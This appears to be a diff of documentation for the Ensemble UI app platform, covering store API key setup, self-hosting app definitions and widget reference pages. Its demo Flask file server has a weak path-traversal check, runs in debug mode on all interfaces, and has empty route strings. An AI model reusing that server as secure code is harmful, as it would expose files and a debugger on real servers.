Key to Google Play Console:** + - Open [Google Play Console](https://play.google.com/console/) and go to `Users and Permissions` in the sidebar. + +11. **Invite New Users:** + - Click on `Invite New Users` and paste the email address saved in step 7. + +![Invite new user](public/images/deploy/bd4df269-e351-4dad-a82d-acb45bc99801.png) + +12. **Set App Permissions:** + - In the App Permissions tab, select the apps for direct upload using the build system. + +![App Permissions](public/images/deploy/e2294e7f-01e2-4223-a378-9851fc34b1fe.png) + +13. **Configure Account Permissions:** + - In the `Account Permissions` tab, check relevant options under `App Access` and `Releases`. + +![Account permissions 1](public/images/deploy/41ae9244-7dd3-4ba5-b7bf-26068bd85ac7.png) +![Account permissions 2](public/images/deploy/5fd3b828-cfd9-4be8-9b21-54125c38a09e.png) + +14. **Send Invite:** + - Click on `Invite User`, then `Send Invite` to link the generated key with the apps successfully. + +Follow these steps diligently to ensure a hassle-free setup of your Google Play Console API Key. + +--- + +# Guide: Generating API Key for App Store Connect + +## Overview + +This guide provides step-by-step instructions on generating an API key for App Store Connect. This key allows you to interact programmatically with App Store Connect which would be required for deploying apps directly to App Store Connect using Build System. + +**Note:** Ensure you have the necessary App Store Connect account permissions to generate API keys. + +## Steps for Creating API Key + +1. **Navigate to App Store Connect:** + - Visit [App Store Connect](https://appstoreconnect.apple.com/). + +2. **Log in to Your Account:** + - Log in with your App Store Connect credentials. + +3. **Access API Keys Section:** + - From the homepage, navigate to the `Users and Access` section. + +4. **Select API Keys:** + - Click on the `Keys` option from the top. + +5. **Generate a New API Key:** + - Click on the `+` button. + +![Keys section](public/images/deploy/a1622af9-6bc4-44e8-9d40-01ecaa802e38.png) + +6. **Fill in the Details:** + - Provide a name for your API key. It will be useful to identify your key later on. + - Choose `App Manager` in the access part of the dialog. + +![API Key form](public/images/deploy/63059213-709b-4686-84ab-7293398951e1.png) + +7. **Generate the Key:** + - Click on the `Generate` button to create the API key. + +8. **Download and Store the Key:** + - There will be a `Download` button for the newly generated key. Download the `.p8` file which is the API key. + - Safely store the key file, as it cannot be downloaded again. + +![Download the generated API Key](public/images/deploy/4998013e-c189-4289-97b9-e4a6fb61038a.png) + +9. **Copy Key ID and Issuer ID:** + - Copy the `Key ID` for the generated key. Also, copy the `Issuer Id` at the top. + - They both will be required later on in the build system. + +Follow these steps to successfully generate an API key for App Store Connect, allowing seamless integration with the Build System. + +--- + + +# Guide: Generating a Firebase Service Account for App Distribution + +## Overview + +This guide outlines the steps to generate a Firebase Service Account with the necessary permissions to use the Firebase App Distribution API for seamless app distribution. + +--- + +## Steps for Creating a Firebase Service Account + +### 1. Log in to Firebase Console + +- Open the [Firebase Console](https://console.firebase.google.com/). +- Ensure you are logged in with the account associated with your Firebase project. + +### 2. Navigate to Project Settings + +- Select your project by clicking on its name in the top-left corner. +- From the dropdown menu, select **Project Settings**. +- Select the **Service accounts** tab +- Click the **X service accounts** button to open the Google Cloud Platform interface. + +![Firebase Service Accounts Button](public/images/deploy/firebase_service_accounts_button.png) + +--- + +### 3. Create a New Service Account + +#### a. Access Service Accounts + +- In the Google Cloud Platform, navigate to the **Service Accounts** section. +- Click the **Create Service Account** button. + +![Create Service Account Button](public/images/deploy/service-account.png) + +#### b. Fill in Service Account Details + +- **Step 1**: Enter the Service Account name and description. This helps you identify the account later and click **Create**. +- **Step 2**: Click the **Select a role** dropdown and choose **Firebase App Distribution Admin** and Click **Continue**. +- **Step 3**: Leave additional fields blank and click **Done**. + +--- + +### 4. Manage Service Account Keys + +#### a. Locate Your Service Account + +- In the list of service accounts, find the one you just created. +- Click the menu in the **Actions** column and select **Manage keys**. + +![Manage Keys Button](public/images/deploy/google_cloud_three.png) + +#### b. Create a New Key + +- In the **Keys** section, click **Add Key > Create new key**. +- Select **JSON** as the key type and click **Create**. +- Download the JSON key file and save it in a secure location. + +![Download JSON Button](public/images/deploy/google_cloud_four.png) + +--- + +### 5. Upload the JSON Key to Ensemble Studio + +- Return to Ensemble Studio. +- Upload the JSON key file to the **Firebase App Distribution** configuration in the **Build & Deploy** page. + +--- + + +# Host and serve your app definition on your own server + +Ensemble automatically serves your application definition (EDL). It also allows you to take the EDL from Ensemble studio and serve it from your own server. + +> [!NOTE] +> You must have owner or editor permission to download the app. + +> [!NOTE] +> Do not change any filename, extension or location of file. + + +### Serve the files + +> [!NOTE] +> The server code present here is just for demo purpose. + + +```python +from flask import Flask, abort, Response +import os + +app = Flask(__name__) + +BASE_DIR = '' + +@app.route('') + +@app.route('//') +def serve_file(app, filepath): + safe_app = os.path.normpath(app) + safe_filepath = os.path.normpath(filepath) + + full_path = os.path.join(BASE_DIR, safe_app, safe_filepath) + + if not full_path.startswith(os.path.join(BASE_DIR, safe_app)): + abort(403, "Access denied") + + if os.path.isfile(full_path): + with open(full_path, 'rb') as f: + content = f.read() + return Response(content, mimetype='text/plain; charset=utf-8') + else: + abort(404, description="Resource not found") + +if __name__ == '__main__': + app.run(debug=True, host='0.0.0.0', port=5001) + +``` +fyi: This server code is used to serve static files of your application and you can run this by simply `python filename.py` + +`BASE_DIR` is where all the downloaded from from download app button are available. +Here just make sure, the file serving route of your server can take filepath as parameter. +`filepath` can be `Home.yaml` or `i18n/en.yaml`. + + +### Configure the client app +> [!NOTE] +> Make sure your file serving server is live. + +Go to your `ensemble-config.yaml` under your `ensemble` directory in your client application. + +```yaml +definitions: + from: remote # here change local or ensemble to remote + + remote: + path: https://your-domain.com + appId: + appHome: + i18nPath: https://your-domain.com/appId/i18n +``` + + + +--- + + +# Accordion Widget + +The `Accordion` widget allows you to display a list of items in an accordion-style UI, where individual sections can be expanded or collapsed. This widget is highly customizable, offering options for styling the headers and bodies, controlling the behavior of sections (whether multiple sections can be open at once), and customizing animations and icons. + +## Key Properties and Features + +- **Accordion Mode**: The `limitExpandedToOne` property determines whether only one section can be open at a time (accordion mode) or multiple sections can be open simultaneously. Defaults to `true`. +- **Initial Opening Sequence Delay**: The `initialOpeningSequenceDelay` property allows you to add a delay (in milliseconds) before the initial opening of the sections. +- **Section Styling**: The `headerStyle` and `bodyStyle` properties allow you to customize the appearance of the header and body sections, respectively. +- **Icons**: You can add icons to the left and right of each section using `leftIcon` and `rightIcon`, and choose whether they flip when the section is opened or closed. +- **Padding and Spacing**: Control padding inside sections and spacing between sections using properties like `paddingListTop`, `paddingListBottom`, `paddingListHorizontal`, `paddingBetweenOpenSections`, and `paddingBetweenClosedSections`. Default values for padding are `0.0`. +- **Animations**: Customize the opening and closing animations of the sections with `openAndCloseAnimation` and `scaleWhenAnimating`. Both default to `true`. +- **Scrolling**: Disable scrolling for the accordion using the `disableScrolling` property. Defaults to `false`. + +--- + + +# Avatar widget + +The Avatar Widget provides a visual representation of a user or entity, typically used in user interfaces to personalize user experience. + +--- + + +# Button widget + +A control that can execute an action on tap or click. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | +| label | string | The button label | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| submitForm | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE | +| onTap | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code | +| onTapHaptic | enum | The type of haptic to perform when button is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| endingIcon | object | Icon placed behind the label, according to device text alignment | +| startingIcon | object | Icon placed in front of the label, according to device text alignment | +| gap | integer | The gap between the starting icon and ending icon | + +### Styles + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | +| outline | boolean | Whether the button should have an outline border instead of filled background | +| color | [integer or string](#Color) | Set the color for the button label starting with '0xFF' for full opacity. `transparent`, `black`, `blue`, `white`, `red`, `grey`, `teal`, `amber`, `pink`, `purple`, `yellow`, `green`, `brown`, `cyan`, `indigo`, `lime`, `orange` | +| labelStyle | object | An object that determines the size, color, and decoration of text | + +### Box Styles (Inherited) +This widget also inherits these styles + +--- + +# Calendar widget + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s) + +| Attribute | Description | +|--------------------|-----------------------------------------------------------------------------------------------| +| rowHeight | Sets the height of each row in the calendar to a specified value (120 in this case). | +| tooltip | Displays a tooltip with information about the focused date, providing guidance on interaction.| +| headerTextStyle | Defines the text style for the calendar header, controlling its font size. | +| firstDay | Sets the first day of the calendar based on the current date. | +| range | Manages the selection of date ranges, allowing actions to be performed when a range is completed.| +| cell | Configures the style and alignment of individual calendar cells. | +| selectCell | Specifies the appearance of the selected cell in the calendar. | +| markCell | Determines the style of marked cells in the calendar. | +| todayCell | Customizes the appearance of cells representing the current date. | +| disableCell | Defines the style of disabled cells in the calendar, typically with a line-through decoration.| +| rowSpans | Configures the display of events spanning across multiple days, providing a clickable button. | + + +### Row Span in detail + +Row spans are widget, this widget span across multiple cell (Date). +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or storgae | +| name | string | Set the name to reference as you iterate through the array of data | +| span | | [Span detail](#Span) | + +#### Span +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| start | string, DateTime | Starting date of span | +| end | string, DateTime | Ending date of span | +| widget | | The widget to render for each item | + + +### Methods +| Function | Args | Description | +| ---| ---| --- | +|update() | | Refresh the calendar if required. Note calendar will automatically on calling any below functions | +| clearRange() | | Clear range entire range selection with this function. | +|selectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as selected | +|selectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as selected| +|unSelectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-selected | +|unSelectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-selected| +|toggleSelectCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between selected and unselected with given dates +|markCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as marked | +|markStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as marked| +|unMarkCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-mark | +|unMarkStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-marked| +|toggleMarkCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between mark and unMark with given dates +|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | +|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | +|enableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as enabled | +|toggleDisableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between enable and disabled cells with given dates | + +#### Exploring the [Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s), let's delve into the process that repeats as users interact with the app, triggering events and updating the UI based on the defined logic and configurations. + +Upon the View's loading, we initiate the following code block: +```yaml +executeCode: + body: |- + ensemble.storage.events = generateEvents(); +``` +This loads in all hardcoded objects within the `generateEvents()` function, as outlined in the `Global: |-` block. + +A notable quirk is encountered when dealing with bindings – setting storage to something (even itself) triggers them. The Calendar example illustrates this perfectly: +```yaml +executeCode: + body: |- + var newEvent = {'start_date': calendar.rangeStart, 'end_date': calendar.rangeEnd, 'title': nameInput.value, 'detail': descInput.value}; + ensemble.storage.events.push(newEvent); + ensemble.storage.events = ensemble.storage.events; + console.log(ensemble.storage.events); + onComplete: + navigateBack: +``` +Here, we start by appending/pushing our new event into our `ensemble.storage.events` array. However, to activate the binding for the updated array, we set it equal to itself, completing the cycle. + +--- + + +# Carousel widget + +The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. + +--- + + +# ChartJS widget + +The ChartJS widget renders a chart by leveraging the open-source library [chartjs.org](https://www.chartjs.org/). + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/5d7b84de-3bbd-456e-aeea-98e2c9f4c3c7) + + +## Basic example + +The primary property required for ChartJs widget requires is `config`. + +```yaml filename="source" +View: + body: + Column: + children: + - ChartJs: + onTap: + eexecuteCode: + body: | + console.log(event.data); + config: | + { + "type": "pie", + "data": { + "labels": ["Red", "Blue", "Yellow"], + "datasets": [{ + "data": [300, 50, 100], + "backgroundColor": [ + "rgb(255, 99, 132)", + "rgb(54, 162, 235)", + "rgb(255, 205, 86)" + ] + }] + } + } +``` + + +## Replace chart's data with new data + +You can change the entire data of a chart using `setData` method: + +1. Add an id to your chart widget. +2. Use `setData` replace data. +3. Use `update` to redraw the chart. + + +```yaml filename="source" +View: + + body: + Column: + styles: + padding: 100 0 + gap: 16 + crossAxis: center + children: + - Text: + text: Energy Sources + styles: + textStyle: + fontSize: 20 + - ToggleButton: + styles: + spacing: 10 + runSpacing: 10 + color: black + selectedColor: white + backgroundColor: white + selectedBackgroundColor: green + selectedBorderColor: blue + borderColor: green + items: + - Your home + - Others + value: "Your home" + onChange: | + if (this.value == "Your home") { + energySourceChart.setData(0, [60,10,20,10]); + energySourceChart.update(); + centerText.text = "60%"; + } else { + energySourceChart.setData(0, [20,40,50,20]); + energySourceChart.update(); + centerText.text = "10%"; + } + + - Stack: + styles: + alignChildren: center + children: + - ChartJs: + styles: + width: ${ device.width } + height: ${ device.width } + id: energySourceChart + config: ${ setEnergyChartConfig([60,10,20,10])} + - Column: + styles: { crossAxis: center, mainAxis: center } + children: + - Text: + text: Green energy + styles: + textStyle: + color: 0xff969BA1 + fontSize: 12 + - Text: + id: centerText + text: 60% + styles: + textStyle: + fontSize: 32 + textAlign: end + + +Global: |- + + function setEnergyChartConfig (data) { + return ({ + "type": 'doughnut', + "data": { + "labels": ["Green", "Coal", "Gas", "Oil"], + "datasets": [{ + "data": data, + "backgroundColor": ['#4BC22F','#474747','#FFBE0A', '#6933FF'], + "hoverOffset": 30, + "borderWidth": 0 + }] + }, + "options": { + "responsive" : true, + "aspectRatio": 1, + "cutout": 80 , + "plugins": { + "legend": { + "display": false + }, + "tooltip": { + "enabled": true, + "position": "nearest" + }, + "labelInsideCircumference": { + "font": { + "size": '11', + "weight": 'normal' + }, + "color": '#000', + "space": 40, // Space between label and circumference + "labelPadding": 10, // Padding on the left and right of the label inside the box + "boxHeight": 30, // Height of the label box + "borderRadius": 4, // Border radius for the label box + "iconOffset": 15 // Horizontal offset for the icon inside the box, + } + }, + "layout": { + "padding": 80 + } + }, + "plugins": [{ + "id": 'labelInsideCircumference', + "beforeDraw": function (chart) { + var labels = chart.data.datasets[0].data; + var colors = chart.data.datasets[0].backgroundColor; + var ctx = chart.ctx; + var width = chart.width; + var height = chart.height; + var labelConfig = chart.options.plugins.labelInsideCircumference; + + ctx.restore(); + ctx.font = labelConfig.font.size + 'px ' + labelConfig.font.weight; + ctx.fillStyle = labelConfig.color; + ctx.textBaseline = 'middle'; + + var total = chart.config.data.datasets[0].data.reduce(function (acc, val) { + return acc + val; + }, 0); + var startAngle = -0.54 * Math.PI; + var endAngle = startAngle; + + // unicodes for the icons + var iconUnicodes = ['🍃', '🪨', '🔥', '🛢️']; + var text = ["Green", "Coal", "Gas", "Oil"]; + + for (var i = 0; i < labels.length; i++) { + var angle = (chart.data.datasets[0].data[i] / total) * (2 * Math.PI); + endAngle += angle; + + var x = width / 2 + Math.cos((startAngle + endAngle) / 2) * (width / 2 - labelConfig.space); + var y = height / 2 + Math.sin((startAngle + endAngle) / 2) * (height / 2 - labelConfig.space); + + var label = text[i] + " " + labels[i].toString() +"%"; + var labelWidth = ctx.measureText(label).width; + var icon = iconUnicodes[i]; + var iconWidth = ctx.measureText(icon).width; + + var contentWidth = labelWidth + iconWidth + labelConfig.labelPadding * 2; // Icon width + label width + padding + var boxWidth = Math.max(contentWidth, 70); // Ensure a minimum box width + + var boxHeight = labelConfig.boxHeight; + var borderRadius = labelConfig.borderRadius; + + // Set label color to match area color + ctx.fillStyle = colors[i]; + + // Calculate box position + var boxX = x - boxWidth / 2; + var boxY = y - boxHeight / 2; + + // Draw label box + ctx.beginPath(); + ctx.moveTo(boxX + borderRadius, boxY); + ctx.lineTo(boxX + boxWidth - borderRadius, boxY); + ctx.quadraticCurveTo(boxX + boxWidth, boxY, boxX + boxWidth, boxY + borderRadius); + ctx.lineTo(boxX + boxWidth, boxY + boxHeight - borderRadius); + ctx.quadraticCurveTo(boxX + boxWidth, boxY + boxHeight, boxX + boxWidth - borderRadius, boxY + boxHeight); + ctx.lineTo(boxX + borderRadius, boxY + boxHeight); + ctx.quadraticCurveTo(boxX, boxY + boxHeight, boxX, boxY + boxHeight - borderRadius); + ctx.lineTo(boxX, boxY + borderRadius); + ctx.quadraticCurveTo(boxX, boxY, boxX + borderRadius, boxY); + ctx.closePath(); + ctx.fillStyle = '#fff'; + ctx.strokeStyle = "#fff"; + ctx.lineWidth = 1; + ctx.fill(); + ctx.stroke(); + + // Draw icon + ctx.font = '13px'; + ctx.fillStyle = '#9DAEC1'; + ctx.textAlign = 'center'; + ctx.textBaseline = 'middle'; + ctx.fillText(icon, x - (labelWidth + labelConfig.labelPadding) / 3, y); + + // Draw label text + ctx.font = '15px'; + ctx.fillStyle = "black"; + ctx.fillText(label, x + (iconWidth + labelConfig.labelPadding) / 2, y); + + ctx.canvas.style.zIndex = 100; + startAngle = endAngle; + } + + ctx.save(); + } + }] + }); + } + +``` +```yaml filename="source" +View: + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Add Data + onTap: + executeCode: + body: | + testLineChart.addLabels(['July','August','September']); + testLineChart.addData(0,[20,30,40]); + testLineChart.addData(1,[5,45,25]); + testLineChart.update(); + - ChartJs: + id: testLineChart + styles: + width: ${device.width} + config: | + { + type: 'line', + data: { + labels: [ + 'January', + 'February', + 'March', + 'April', + 'May', + 'June' + ], + datasets: [ + { + label: 'My First dataset', + backgroundColor: [ + 'rgba(255, 99, 132, 0.2)', + 'rgba(54, 162, 235, 0.2)', + 'rgba(255, 206, 86, 0.2)', + 'rgba(75, 192, 192, 0.2)', + 'rgba(153, 102, 255, 0.2)', + 'rgba(255, 159, 64, 0.2)' + ], + borderColor: [ + 'rgba(255,99,132,1)', + 'rgba(54, 162, 235, 1)', + 'rgba(255, 206, 86, 1)', + 'rgba(75, 192, 192, 1)', + 'rgba(153, 102, 255, 1)', + 'rgba(255, 159, 64, 1)' + ], + borderWidth: 1, + data: [0, 10, 5, 2, 20, 45], + fill: 'start' + },{ + label: 'My Second dataset', + backgroundColor: [ + 'rgba(255, 99, 132, 0.2)', + 'rgba(54, 162, 235, 0.2)', + 'rgba(255, 206, 86, 0.2)', + 'rgba(75, 192, 192, 0.2)', + 'rgba(153, 102, 255, 0.2)', + 'rgba(255, 159, 64, 0.2)' + ], + borderColor: [ + 'rgba(255,99,132,1)', + 'rgba(54, 162, 235, 1)', + 'rgba(255, 206, 86, 1)', + 'rgba(75, 192, 192, 1)', + 'rgba(153, 102, 255, 1)', + 'rgba(255, 159, 64, 1)' + ], + borderWidth: 1, + data: [5, 12, 7, 0, 18, 25], + fill: 'start' + } + ] + }, + options: { + scales: { + x: { + ticks: { + maxRotation: 0, + minRotation: 0 + } + } + }, + plugins: { + filler: { + propagate: false, + } + }, + interaction: { + intersect: false, + }, + tension: 0.4 + } + } + +``` +```javascript +myChart.setData(0, [60, 10, 20, 10]); +``` +```javascript +myChart.addLabels(["January", "February", "March"]); +``` +```javascript +myChart.addData(0, [10, 20, 30]); +``` +```javascript +myChart.update(); +``` + +--- + + +# Checkbox widget + +The Checkbox widget allows the rendering of checkbox input elements, enabling users to select or deselect options within your application for convenient and interactive data manipulation. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later | +| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | +| label | string | Label for your widget | +| labelHint | string | Hint text on your label | +| hintText | string | Hint text explaining your widget | +| required | boolean | Whether the field is required | +| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | +| icon | object | [See properties](#icon) | +| onChange | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | boolean | true if checkbox is checked else otherwise | +| autoComplete | boolean | Enable the Input search suggestion option | +| items | array | List of values, or Objects with value/label pairs | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### Styles + +#### Common Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | + +#### Stack Position Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | + +#### Border Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | +| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | + +#### Padding Properties + +| Property | Type | Description | +| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| contentPadding | integer or string | Padding around your input content with CSS-style notation, e.g., margin: 5 20 5. | + + + +### Box Styles (Inherited) +This widget also inherits these styles + +--- + +# Column widget + +Column is designed to arrange child widgets vertically, where the intrinsic sizes of child widgets dictate the layout's appearance. + +## Best Practices + +- If a single vertical scrollbar is needed for the entire screen, consider using `scrollableView: true` at the `View` level. +- If the entire screen's vertical space is used without a need for scrolling (or if the scrolling is inside some nested section), considered using FlexColumn](/widgets/flex-column.md) to fill the entire vertical space. +- Use Column to lay out the children vertically from top to bottom. Enable scrollable if the children might exceed the available space. +- **Avoid** using child widgets with no height constraint or sized itself to the parent inside the Column. +- **Avoid** using nested scrollable Column for better UX. + +## Key Concepts +- **mainAxisSize**: By default the height of a Column is determined by its parent's height constraint (if available), otherwise it will be the combined height of its children. You may force the Column to do the later (size itself to the children's combined height) with `mainAxisSize=min`. Note that a Column does not pass a height constraint to its children, so a Column inside another Column will always size itself to its children. +- **mainAxis**: This property controls the vertical alignment of the children within the Column. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. +- **crossAxis**: This property controls the horizontal alignment of the children within the Column. +- **scrollable**: Enable vertical scrolling when the child widgets grow wider than the available space. + +## Caveats +- **Column width**: Note that setting a width for a Column acts more like a maximum width constraint. The Column determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. +If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) + +## Reference +#### Properties + +| Property | Type | Description | +| :------------ |:---------------------------------------|:--------------------------------------------------------| +| children | [Widget[]](widgets/directory) | List of child widgets | +| item-template | [ItemTemplate](#item-template) | List of templated widgets, appearing after the children | +| styles | object | [See properties](#styles) | + +#### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The widget to render for each item | + +#### styles + +| Property | Type | Description | +| :--------------------------- |:-----------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | +| scrollable | boolean | Set to true so content can scroll vertically as needed | +| autoFit | boolean | Explicitly make the column's width as wide as the largest child, but only if our column's parent does not already assign a width. This attribute is useful for sizing children who don't have a width (e.g Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its 